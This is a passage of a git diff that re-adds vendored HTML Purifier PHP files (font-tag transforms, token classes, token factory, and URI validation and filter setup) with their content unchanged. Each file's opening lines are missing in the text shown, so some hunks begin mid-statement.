'small', - '3' => 'medium', - '4' => 'large', - '5' => 'x-large', - '6' => 'xx-large', - '7' => '300%', - '-1' => 'smaller', - '-2' => '60%', - '+1' => 'larger', - '+2' => '150%', - '+3' => '200%', - '+4' => '300%' - ); - - /** - * @param HTMLPurifier_Token_Tag $tag - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return HTMLPurifier_Token_End|string - */ - public function transform($tag, $config, $context) - { - if ($tag instanceof HTMLPurifier_Token_End) { - $new_tag = clone $tag; - $new_tag->name = $this->transform_to; - return $new_tag; - } - - $attr = $tag->attr; - $prepend_style = ''; - - // handle color transform - if (isset($attr['color'])) { - $prepend_style .= 'color:' . $attr['color'] . ';'; - unset($attr['color']); - } - - // handle face transform - if (isset($attr['face'])) { - $prepend_style .= 'font-family:' . $attr['face'] . ';'; - unset($attr['face']); - } - - // handle size transform - if (isset($attr['size'])) { - // normalize large numbers - if ($attr['size'] !== '') { - if ($attr['size'][0] == '+' || $attr['size'][0] == '-') { - $size = (int)$attr['size']; - if ($size < -2) { - $attr['size'] = '-2'; - } - if ($size > 4) { - $attr['size'] = '+4'; - } - } else { - $size = (int)$attr['size']; - if ($size > 7) { - $attr['size'] = '7'; - } - } - } - if (isset($this->_size_lookup[$attr['size']])) { - $prepend_style .= 'font-size:' . - $this->_size_lookup[$attr['size']] . ';'; - } - unset($attr['size']); - } - - if ($prepend_style) { - $attr['style'] = isset($attr['style']) ? - $prepend_style . $attr['style'] : - $prepend_style; - } - - $new_tag = clone $tag; - $new_tag->name = $this->transform_to; - $new_tag->attr = $attr; - - return $new_tag; - } -} - -// vim: et sw=4 sts=4 + 'xx-small', + '1' => 'xx-small', + '2' => 'small', + '3' => 'medium', + '4' => 'large', + '5' => 'x-large', + '6' => 'xx-large', + '7' => '300%', + '-1' => 'smaller', + '-2' => '60%', + '+1' => 'larger', + '+2' => '150%', + '+3' => '200%', + '+4' => '300%' + ); + + /** + * @param HTMLPurifier_Token_Tag $tag + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return HTMLPurifier_Token_End|string + */ + public function transform($tag, $config, $context) + { + if ($tag instanceof HTMLPurifier_Token_End) { + $new_tag = clone $tag; + $new_tag->name = $this->transform_to; + return $new_tag; + } + + $attr = $tag->attr; + $prepend_style = ''; + + // handle color transform + if (isset($attr['color'])) { + $prepend_style .= 'color:' . $attr['color'] . ';'; + unset($attr['color']); + } + + // handle face transform + if (isset($attr['face'])) { + $prepend_style .= 'font-family:' . $attr['face'] . ';'; + unset($attr['face']); + } + + // handle size transform + if (isset($attr['size'])) { + // normalize large numbers + if ($attr['size'] !== '') { + if ($attr['size'][0] == '+' || $attr['size'][0] == '-') { + $size = (int)$attr['size']; + if ($size < -2) { + $attr['size'] = '-2'; + } + if ($size > 4) { + $attr['size'] = '+4'; + } + } else { + $size = (int)$attr['size']; + if ($size > 7) { + $attr['size'] = '7'; + } + } + } + if (isset($this->_size_lookup[$attr['size']])) { + $prepend_style .= 'font-size:' . + $this->_size_lookup[$attr['size']] . ';'; + } + unset($attr['size']); + } + + if ($prepend_style) { + $attr['style'] = isset($attr['style']) ? + $prepend_style . $attr['style'] : + $prepend_style; + } + + $new_tag = clone $tag; + $new_tag->name = $this->transform_to; + $new_tag->attr = $attr; + + return $new_tag; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php index d21b634e94..71bf10b91f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php @@ -1,44 +1,44 @@ -transform_to = $transform_to; - $this->style = $style; - } - - /** - * @param HTMLPurifier_Token_Tag $tag - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return string - */ - public function transform($tag, $config, $context) - { - $new_tag = clone $tag; - $new_tag->name = $this->transform_to; - if (!is_null($this->style) && - ($new_tag instanceof HTMLPurifier_Token_Start || $new_tag instanceof HTMLPurifier_Token_Empty) - ) { - $this->prependCSS($new_tag->attr, $this->style); - } - return $new_tag; - } -} - -// vim: et sw=4 sts=4 +transform_to = $transform_to; + $this->style = $style; + } + + /** + * @param HTMLPurifier_Token_Tag $tag + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + */ + public function transform($tag, $config, $context) + { + $new_tag = clone $tag; + $new_tag->name = $this->transform_to; + if (!is_null($this->style) && + ($new_tag instanceof HTMLPurifier_Token_Start || $new_tag instanceof HTMLPurifier_Token_Empty) + ) { + $this->prependCSS($new_tag->attr, $this->style); + } + return $new_tag; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php index a765cf10e7..84d3619a36 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php @@ -1,100 +1,100 @@ -line = $l; - $this->col = $c; - } - - /** - * Convenience function for DirectLex settings line/col position. - * @param int $l - * @param int $c - */ - public function rawPosition($l, $c) - { - if ($c === -1) { - $l++; - } - $this->line = $l; - $this->col = $c; - } - - /** - * Converts a token into its corresponding node. - */ - abstract public function toNode(); -} - -// vim: et sw=4 sts=4 +line = $l; + $this->col = $c; + } + + /** + * Convenience function for DirectLex settings line/col position. + * @param int $l + * @param int $c + */ + public function rawPosition($l, $c) + { + if ($c === -1) { + $l++; + } + $this->line = $l; + $this->col = $c; + } + + /** + * Converts a token into its corresponding node. + */ + abstract public function toNode(); +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php index 3fd273b166..23453c7052 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php @@ -1,38 +1,38 @@ -data = $data; - $this->line = $line; - $this->col = $col; - } - - public function toNode() { - return new HTMLPurifier_Node_Comment($this->data, $this->line, $this->col); - } -} - -// vim: et sw=4 sts=4 +data = $data; + $this->line = $line; + $this->col = $col; + } + + public function toNode() { + return new HTMLPurifier_Node_Comment($this->data, $this->line, $this->col); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php index bd35024ab8..78a95f5555 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php @@ -1,15 +1,15 @@ -empty = true; - return $n; - } -} - -// vim: et sw=4 sts=4 +empty = true; + return $n; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php index 99c34e750e..59b38fdc57 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php @@ -1,24 +1,24 @@ -toNode not supported!"); - } -} - -// vim: et sw=4 sts=4 +toNode not supported!"); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php index 574745b607..019f317ada 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php @@ -1,10 +1,10 @@ -!empty($obj->is_tag) - * without having to use a function call is_a(). - * @type bool - */ - public $is_tag = true; - - /** - * The lower-case name of the tag, like 'a', 'b' or 'blockquote'. - * - * @note Strictly speaking, XML tags are case sensitive, so we shouldn't - * be lower-casing them, but these tokens cater to HTML tags, which are - * insensitive. - * @type string - */ - public $name; - - /** - * Associative array of the tag's attributes. - * @type array - */ - public $attr = array(); - - /** - * Non-overloaded constructor, which lower-cases passed tag name. - * - * @param string $name String name. - * @param array $attr Associative array of attributes. - * @param int $line - * @param int $col - * @param array $armor - */ - public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) - { - $this->name = ctype_lower($name) ? $name : strtolower($name); - foreach ($attr as $key => $value) { - // normalization only necessary when key is not lowercase - if (!ctype_lower($key)) { - $new_key = strtolower($key); - if (!isset($attr[$new_key])) { - $attr[$new_key] = $attr[$key]; - } - if ($new_key !== $key) { - unset($attr[$key]); - } - } - } - $this->attr = $attr; - $this->line = $line; - $this->col = $col; - $this->armor = $armor; - } - - public function toNode() { - return new HTMLPurifier_Node_Element($this->name, $this->attr, $this->line, $this->col, $this->armor); - } -} - -// vim: et sw=4 sts=4 +!empty($obj->is_tag) + * without having to use a function call is_a(). + * @type bool + */ + public $is_tag = true; + + /** + * The lower-case name of the tag, like 'a', 'b' or 'blockquote'. + * + * @note Strictly speaking, XML tags are case sensitive, so we shouldn't + * be lower-casing them, but these tokens cater to HTML tags, which are + * insensitive. + * @type string + */ + public $name; + + /** + * Associative array of the tag's attributes. + * @type array + */ + public $attr = array(); + + /** + * Non-overloaded constructor, which lower-cases passed tag name. + * + * @param string $name String name. + * @param array $attr Associative array of attributes. + * @param int $line + * @param int $col + * @param array $armor + */ + public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) + { + $this->name = ctype_lower($name) ? $name : strtolower($name); + foreach ($attr as $key => $value) { + // normalization only necessary when key is not lowercase + if (!ctype_lower($key)) { + $new_key = strtolower($key); + if (!isset($attr[$new_key])) { + $attr[$new_key] = $attr[$key]; + } + if ($new_key !== $key) { + unset($attr[$key]); + } + } + } + $this->attr = $attr; + $this->line = $line; + $this->col = $col; + $this->armor = $armor; + } + + public function toNode() { + return new HTMLPurifier_Node_Element($this->name, $this->attr, $this->line, $this->col, $this->armor); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php index ff45125a51..f26a1c211b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php @@ -1,53 +1,53 @@ -data = $data; - $this->is_whitespace = ctype_space($data); - $this->line = $line; - $this->col = $col; - } - - public function toNode() { - return new HTMLPurifier_Node_Text($this->data, $this->is_whitespace, $this->line, $this->col); - } -} - -// vim: et sw=4 sts=4 +data = $data; + $this->is_whitespace = ctype_space($data); + $this->line = $line; + $this->col = $col; + } + + public function toNode() { + return new HTMLPurifier_Node_Text($this->data, $this->is_whitespace, $this->line, $this->col); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php index e016b80ea6..dea2446b93 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php @@ -1,118 +1,118 @@ -p_start = new HTMLPurifier_Token_Start('', array()); - $this->p_end = new HTMLPurifier_Token_End(''); - $this->p_empty = new HTMLPurifier_Token_Empty('', array()); - $this->p_text = new HTMLPurifier_Token_Text(''); - $this->p_comment = new HTMLPurifier_Token_Comment(''); - } - - /** - * Creates a HTMLPurifier_Token_Start. - * @param string $name Tag name - * @param array $attr Associative array of attributes - * @return HTMLPurifier_Token_Start Generated HTMLPurifier_Token_Start - */ - public function createStart($name, $attr = array()) - { - $p = clone $this->p_start; - $p->__construct($name, $attr); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_End. - * @param string $name Tag name - * @return HTMLPurifier_Token_End Generated HTMLPurifier_Token_End - */ - public function createEnd($name) - { - $p = clone $this->p_end; - $p->__construct($name); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_Empty. - * @param string $name Tag name - * @param array $attr Associative array of attributes - * @return HTMLPurifier_Token_Empty Generated HTMLPurifier_Token_Empty - */ - public function createEmpty($name, $attr = array()) - { - $p = clone $this->p_empty; - $p->__construct($name, $attr); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_Text. - * @param string $data Data of text token - * @return HTMLPurifier_Token_Text Generated HTMLPurifier_Token_Text - */ - public function createText($data) - { - $p = clone $this->p_text; - $p->__construct($data); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_Comment. - * @param string $data Data of comment token - * @return HTMLPurifier_Token_Comment Generated HTMLPurifier_Token_Comment - */ - public function createComment($data) - { - $p = clone $this->p_comment; - $p->__construct($data); - return $p; - } -} - -// vim: et sw=4 sts=4 +p_start = new HTMLPurifier_Token_Start('', array()); + $this->p_end = new HTMLPurifier_Token_End(''); + $this->p_empty = new HTMLPurifier_Token_Empty('', array()); + $this->p_text = new HTMLPurifier_Token_Text(''); + $this->p_comment = new HTMLPurifier_Token_Comment(''); + } + + /** + * Creates a HTMLPurifier_Token_Start. + * @param string $name Tag name + * @param array $attr Associative array of attributes + * @return HTMLPurifier_Token_Start Generated HTMLPurifier_Token_Start + */ + public function createStart($name, $attr = array()) + { + $p = clone $this->p_start; + $p->__construct($name, $attr); + return $p; + } + + /** + * Creates a HTMLPurifier_Token_End. + * @param string $name Tag name + * @return HTMLPurifier_Token_End Generated HTMLPurifier_Token_End + */ + public function createEnd($name) + { + $p = clone $this->p_end; + $p->__construct($name); + return $p; + } + + /** + * Creates a HTMLPurifier_Token_Empty. + * @param string $name Tag name + * @param array $attr Associative array of attributes + * @return HTMLPurifier_Token_Empty Generated HTMLPurifier_Token_Empty + */ + public function createEmpty($name, $attr = array()) + { + $p = clone $this->p_empty; + $p->__construct($name, $attr); + return $p; + } + + /** + * Creates a HTMLPurifier_Token_Text. + * @param string $data Data of text token + * @return HTMLPurifier_Token_Text Generated HTMLPurifier_Token_Text + */ + public function createText($data) + { + $p = clone $this->p_text; + $p->__construct($data); + return $p; + } + + /** + * Creates a HTMLPurifier_Token_Comment. + * @param string $data Data of comment token + * @return HTMLPurifier_Token_Comment Generated HTMLPurifier_Token_Comment + */ + public function createComment($data) + { + $p = clone $this->p_comment; + $p->__construct($data); + return $p; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php index 1a4705a0c2..9c5be39d18 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php @@ -1,316 +1,316 @@ -scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme); - $this->userinfo = $userinfo; - $this->host = $host; - $this->port = is_null($port) ? $port : (int)$port; - $this->path = $path; - $this->query = $query; - $this->fragment = $fragment; - } - - /** - * Retrieves a scheme object corresponding to the URI's scheme/default - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return HTMLPurifier_URIScheme Scheme object appropriate for validating this URI - */ - public function getSchemeObj($config, $context) - { - $registry = HTMLPurifier_URISchemeRegistry::instance(); - if ($this->scheme !== null) { - $scheme_obj = $registry->getScheme($this->scheme, $config, $context); - if (!$scheme_obj) { - return false; - } // invalid scheme, clean it out - } else { - // no scheme: retrieve the default one - $def = $config->getDefinition('URI'); - $scheme_obj = $def->getDefaultScheme($config, $context); - if (!$scheme_obj) { - if ($def->defaultScheme !== null) { - // something funky happened to the default scheme object - trigger_error( - 'Default scheme object "' . $def->defaultScheme . '" was not readable', - E_USER_WARNING - ); - } // suppress error if it's null - return false; - } - } - return $scheme_obj; - } - - /** - * Generic validation method applicable for all schemes. May modify - * this URI in order to get it into a compliant form. - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool True if validation/filtering succeeds, false if failure - */ - public function validate($config, $context) - { - // ABNF definitions from RFC 3986 - $chars_sub_delims = '!$&\'()*+,;='; - $chars_gen_delims = ':/?#[]@'; - $chars_pchar = $chars_sub_delims . ':@'; - - // validate host - if (!is_null($this->host)) { - $host_def = new HTMLPurifier_AttrDef_URI_Host(); - $this->host = $host_def->validate($this->host, $config, $context); - if ($this->host === false) { - $this->host = null; - } - } - - // validate scheme - // NOTE: It's not appropriate to check whether or not this - // scheme is in our registry, since a URIFilter may convert a - // URI that we don't allow into one we do. So instead, we just - // check if the scheme can be dropped because there is no host - // and it is our default scheme. - if (!is_null($this->scheme) && is_null($this->host) || $this->host === '') { - // support for relative paths is pretty abysmal when the - // scheme is present, so axe it when possible - $def = $config->getDefinition('URI'); - if ($def->defaultScheme === $this->scheme) { - $this->scheme = null; - } - } - - // validate username - if (!is_null($this->userinfo)) { - $encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . ':'); - $this->userinfo = $encoder->encode($this->userinfo); - } - - // validate port - if (!is_null($this->port)) { - if ($this->port < 1 || $this->port > 65535) { - $this->port = null; - } - } - - // validate path - $segments_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/'); - if (!is_null($this->host)) { // this catches $this->host === '' - // path-abempty (hier and relative) - // http://www.example.com/my/path - // //www.example.com/my/path (looks odd, but works, and - // recognized by most browsers) - // (this set is valid or invalid on a scheme by scheme - // basis, so we'll deal with it later) - // file:///my/path - // ///my/path - $this->path = $segments_encoder->encode($this->path); - } elseif ($this->path !== '') { - if ($this->path[0] === '/') { - // path-absolute (hier and relative) - // http:/my/path - // /my/path - if (strlen($this->path) >= 2 && $this->path[1] === '/') { - // This could happen if both the host gets stripped - // out - // http://my/path - // //my/path - $this->path = ''; - } else { - $this->path = $segments_encoder->encode($this->path); - } - } elseif (!is_null($this->scheme)) { - // path-rootless (hier) - // http:my/path - // Short circuit evaluation means we don't need to check nz - $this->path = $segments_encoder->encode($this->path); - } else { - // path-noscheme (relative) - // my/path - // (once again, not checking nz) - $segment_nc_encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . '@'); - $c = strpos($this->path, '/'); - if ($c !== false) { - $this->path = - $segment_nc_encoder->encode(substr($this->path, 0, $c)) . - $segments_encoder->encode(substr($this->path, $c)); - } else { - $this->path = $segment_nc_encoder->encode($this->path); - } - } - } else { - // path-empty (hier and relative) - $this->path = ''; // just to be safe - } - - // qf = query and fragment - $qf_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/?'); - - if (!is_null($this->query)) { - $this->query = $qf_encoder->encode($this->query); - } - - if (!is_null($this->fragment)) { - $this->fragment = $qf_encoder->encode($this->fragment); - } - return true; - } - - /** - * Convert URI back to string - * @return string URI appropriate for output - */ - public function toString() - { - // reconstruct authority - $authority = null; - // there is a rendering difference between a null authority - // (http:foo-bar) and an empty string authority - // (http:///foo-bar). - if (!is_null($this->host)) { - $authority = ''; - if (!is_null($this->userinfo)) { - $authority .= $this->userinfo . '@'; - } - $authority .= $this->host; - if (!is_null($this->port)) { - $authority .= ':' . $this->port; - } - } - - // Reconstruct the result - // One might wonder about parsing quirks from browsers after - // this reconstruction. Unfortunately, parsing behavior depends - // on what *scheme* was employed (file:///foo is handled *very* - // differently than http:///foo), so unfortunately we have to - // defer to the schemes to do the right thing. - $result = ''; - if (!is_null($this->scheme)) { - $result .= $this->scheme . ':'; - } - if (!is_null($authority)) { - $result .= '//' . $authority; - } - $result .= $this->path; - if (!is_null($this->query)) { - $result .= '?' . $this->query; - } - if (!is_null($this->fragment)) { - $result .= '#' . $this->fragment; - } - - return $result; - } - - /** - * Returns true if this URL might be considered a 'local' URL given - * the current context. This is true when the host is null, or - * when it matches the host supplied to the configuration. - * - * Note that this does not do any scheme checking, so it is mostly - * only appropriate for metadata that doesn't care about protocol - * security. isBenign is probably what you actually want. - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool - */ - public function isLocal($config, $context) - { - if ($this->host === null) { - return true; - } - $uri_def = $config->getDefinition('URI'); - if ($uri_def->host === $this->host) { - return true; - } - return false; - } - - /** - * Returns true if this URL should be considered a 'benign' URL, - * that is: - * - * - It is a local URL (isLocal), and - * - It has a equal or better level of security - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool - */ - public function isBenign($config, $context) - { - if (!$this->isLocal($config, $context)) { - return false; - } - - $scheme_obj = $this->getSchemeObj($config, $context); - if (!$scheme_obj) { - return false; - } // conservative approach - - $current_scheme_obj = $config->getDefinition('URI')->getDefaultScheme($config, $context); - if ($current_scheme_obj->secure) { - if (!$scheme_obj->secure) { - return false; - } - } - return true; - } -} - -// vim: et sw=4 sts=4 +scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme); + $this->userinfo = $userinfo; + $this->host = $host; + $this->port = is_null($port) ? $port : (int)$port; + $this->path = $path; + $this->query = $query; + $this->fragment = $fragment; + } + + /** + * Retrieves a scheme object corresponding to the URI's scheme/default + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return HTMLPurifier_URIScheme Scheme object appropriate for validating this URI + */ + public function getSchemeObj($config, $context) + { + $registry = HTMLPurifier_URISchemeRegistry::instance(); + if ($this->scheme !== null) { + $scheme_obj = $registry->getScheme($this->scheme, $config, $context); + if (!$scheme_obj) { + return false; + } // invalid scheme, clean it out + } else { + // no scheme: retrieve the default one + $def = $config->getDefinition('URI'); + $scheme_obj = $def->getDefaultScheme($config, $context); + if (!$scheme_obj) { + if ($def->defaultScheme !== null) { + // something funky happened to the default scheme object + trigger_error( + 'Default scheme object "' . $def->defaultScheme . '" was not readable', + E_USER_WARNING + ); + } // suppress error if it's null + return false; + } + } + return $scheme_obj; + } + + /** + * Generic validation method applicable for all schemes. May modify + * this URI in order to get it into a compliant form. + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool True if validation/filtering succeeds, false if failure + */ + public function validate($config, $context) + { + // ABNF definitions from RFC 3986 + $chars_sub_delims = '!$&\'()*+,;='; + $chars_gen_delims = ':/?#[]@'; + $chars_pchar = $chars_sub_delims . ':@'; + + // validate host + if (!is_null($this->host)) { + $host_def = new HTMLPurifier_AttrDef_URI_Host(); + $this->host = $host_def->validate($this->host, $config, $context); + if ($this->host === false) { + $this->host = null; + } + } + + // validate scheme + // NOTE: It's not appropriate to check whether or not this + // scheme is in our registry, since a URIFilter may convert a + // URI that we don't allow into one we do. So instead, we just + // check if the scheme can be dropped because there is no host + // and it is our default scheme. + if (!is_null($this->scheme) && is_null($this->host) || $this->host === '') { + // support for relative paths is pretty abysmal when the + // scheme is present, so axe it when possible + $def = $config->getDefinition('URI'); + if ($def->defaultScheme === $this->scheme) { + $this->scheme = null; + } + } + + // validate username + if (!is_null($this->userinfo)) { + $encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . ':'); + $this->userinfo = $encoder->encode($this->userinfo); + } + + // validate port + if (!is_null($this->port)) { + if ($this->port < 1 || $this->port > 65535) { + $this->port = null; + } + } + + // validate path + $segments_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/'); + if (!is_null($this->host)) { // this catches $this->host === '' + // path-abempty (hier and relative) + // http://www.example.com/my/path + // //www.example.com/my/path (looks odd, but works, and + // recognized by most browsers) + // (this set is valid or invalid on a scheme by scheme + // basis, so we'll deal with it later) + // file:///my/path + // ///my/path + $this->path = $segments_encoder->encode($this->path); + } elseif ($this->path !== '') { + if ($this->path[0] === '/') { + // path-absolute (hier and relative) + // http:/my/path + // /my/path + if (strlen($this->path) >= 2 && $this->path[1] === '/') { + // This could happen if both the host gets stripped + // out + // http://my/path + // //my/path + $this->path = ''; + } else { + $this->path = $segments_encoder->encode($this->path); + } + } elseif (!is_null($this->scheme)) { + // path-rootless (hier) + // http:my/path + // Short circuit evaluation means we don't need to check nz + $this->path = $segments_encoder->encode($this->path); + } else { + // path-noscheme (relative) + // my/path + // (once again, not checking nz) + $segment_nc_encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . '@'); + $c = strpos($this->path, '/'); + if ($c !== false) { + $this->path = + $segment_nc_encoder->encode(substr($this->path, 0, $c)) . + $segments_encoder->encode(substr($this->path, $c)); + } else { + $this->path = $segment_nc_encoder->encode($this->path); + } + } + } else { + // path-empty (hier and relative) + $this->path = ''; // just to be safe + } + + // qf = query and fragment + $qf_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/?'); + + if (!is_null($this->query)) { + $this->query = $qf_encoder->encode($this->query); + } + + if (!is_null($this->fragment)) { + $this->fragment = $qf_encoder->encode($this->fragment); + } + return true; + } + + /** + * Convert URI back to string + * @return string URI appropriate for output + */ + public function toString() + { + // reconstruct authority + $authority = null; + // there is a rendering difference between a null authority + // (http:foo-bar) and an empty string authority + // (http:///foo-bar). + if (!is_null($this->host)) { + $authority = ''; + if (!is_null($this->userinfo)) { + $authority .= $this->userinfo . '@'; + } + $authority .= $this->host; + if (!is_null($this->port)) { + $authority .= ':' . $this->port; + } + } + + // Reconstruct the result + // One might wonder about parsing quirks from browsers after + // this reconstruction. Unfortunately, parsing behavior depends + // on what *scheme* was employed (file:///foo is handled *very* + // differently than http:///foo), so unfortunately we have to + // defer to the schemes to do the right thing. + $result = ''; + if (!is_null($this->scheme)) { + $result .= $this->scheme . ':'; + } + if (!is_null($authority)) { + $result .= '//' . $authority; + } + $result .= $this->path; + if (!is_null($this->query)) { + $result .= '?' . $this->query; + } + if (!is_null($this->fragment)) { + $result .= '#' . $this->fragment; + } + + return $result; + } + + /** + * Returns true if this URL might be considered a 'local' URL given + * the current context. This is true when the host is null, or + * when it matches the host supplied to the configuration. + * + * Note that this does not do any scheme checking, so it is mostly + * only appropriate for metadata that doesn't care about protocol + * security. isBenign is probably what you actually want. + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function isLocal($config, $context) + { + if ($this->host === null) { + return true; + } + $uri_def = $config->getDefinition('URI'); + if ($uri_def->host === $this->host) { + return true; + } + return false; + } + + /** + * Returns true if this URL should be considered a 'benign' URL, + * that is: + * + * - It is a local URL (isLocal), and + * - It has a equal or better level of security + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function isBenign($config, $context) + { + if (!$this->isLocal($config, $context)) { + return false; + } + + $scheme_obj = $this->getSchemeObj($config, $context); + if (!$scheme_obj) { + return false; + } // conservative approach + + $current_scheme_obj = $config->getDefinition('URI')->getDefaultScheme($config, $context); + if ($current_scheme_obj->secure) { + if (!$scheme_obj->secure) { + return false; + } + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php index dbc2a752ef..e0bd8bcca8 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php @@ -1,112 +1,112 @@ -registerFilter(new HTMLPurifier_URIFilter_DisableExternal()); - $this->registerFilter(new HTMLPurifier_URIFilter_DisableExternalResources()); - $this->registerFilter(new HTMLPurifier_URIFilter_DisableResources()); - $this->registerFilter(new HTMLPurifier_URIFilter_HostBlacklist()); - $this->registerFilter(new HTMLPurifier_URIFilter_SafeIframe()); - $this->registerFilter(new HTMLPurifier_URIFilter_MakeAbsolute()); - $this->registerFilter(new HTMLPurifier_URIFilter_Munge()); - } - - public function registerFilter($filter) - { - $this->registeredFilters[$filter->name] = $filter; - } - - public function addFilter($filter, $config) - { - $r = $filter->prepare($config); - if ($r === false) return; // null is ok, for backwards compat - if ($filter->post) { - $this->postFilters[$filter->name] = $filter; - } else { - $this->filters[$filter->name] = $filter; - } - } - - protected function doSetup($config) - { - $this->setupMemberVariables($config); - $this->setupFilters($config); - } - - protected function setupFilters($config) - { - foreach ($this->registeredFilters as $name => $filter) { - if ($filter->always_load) { - $this->addFilter($filter, $config); - } else { - $conf = $config->get('URI.' . $name); - if ($conf !== false && $conf !== null) { - $this->addFilter($filter, $config); - } - } - } - unset($this->registeredFilters); - } - - protected function setupMemberVariables($config) - { - $this->host = $config->get('URI.Host'); - $base_uri = $config->get('URI.Base'); - if (!is_null($base_uri)) { - $parser = new HTMLPurifier_URIParser(); - $this->base = $parser->parse($base_uri); - $this->defaultScheme = $this->base->scheme; - if (is_null($this->host)) $this->host = $this->base->host; - } - if (is_null($this->defaultScheme)) $this->defaultScheme = $config->get('URI.DefaultScheme'); - } - - public function getDefaultScheme($config, $context) - { - return HTMLPurifier_URISchemeRegistry::instance()->getScheme($this->defaultScheme, $config, $context); - } - - public function filter(&$uri, $config, $context) - { - foreach ($this->filters as $name => $f) { - $result = $f->filter($uri, $config, $context); - if (!$result) return false; - } - return true; - } - - public function postFilter(&$uri, $config, $context) - { - foreach ($this->postFilters as $name => $f) { - $result = $f->filter($uri, $config, $context); - if (!$result) return false; - } - return true; - } - -} - -// vim: et sw=4 sts=4 +registerFilter(new HTMLPurifier_URIFilter_DisableExternal()); + $this->registerFilter(new HTMLPurifier_URIFilter_DisableExternalResources()); + $this->registerFilter(new HTMLPurifier_URIFilter_DisableResources()); + $this->registerFilter(new HTMLPurifier_URIFilter_HostBlacklist()); + $this->registerFilter(new HTMLPurifier_URIFilter_SafeIframe()); + $this->registerFilter(new HTMLPurifier_URIFilter_MakeAbsolute()); + $this->registerFilter(new HTMLPurifier_URIFilter_Munge()); + } + 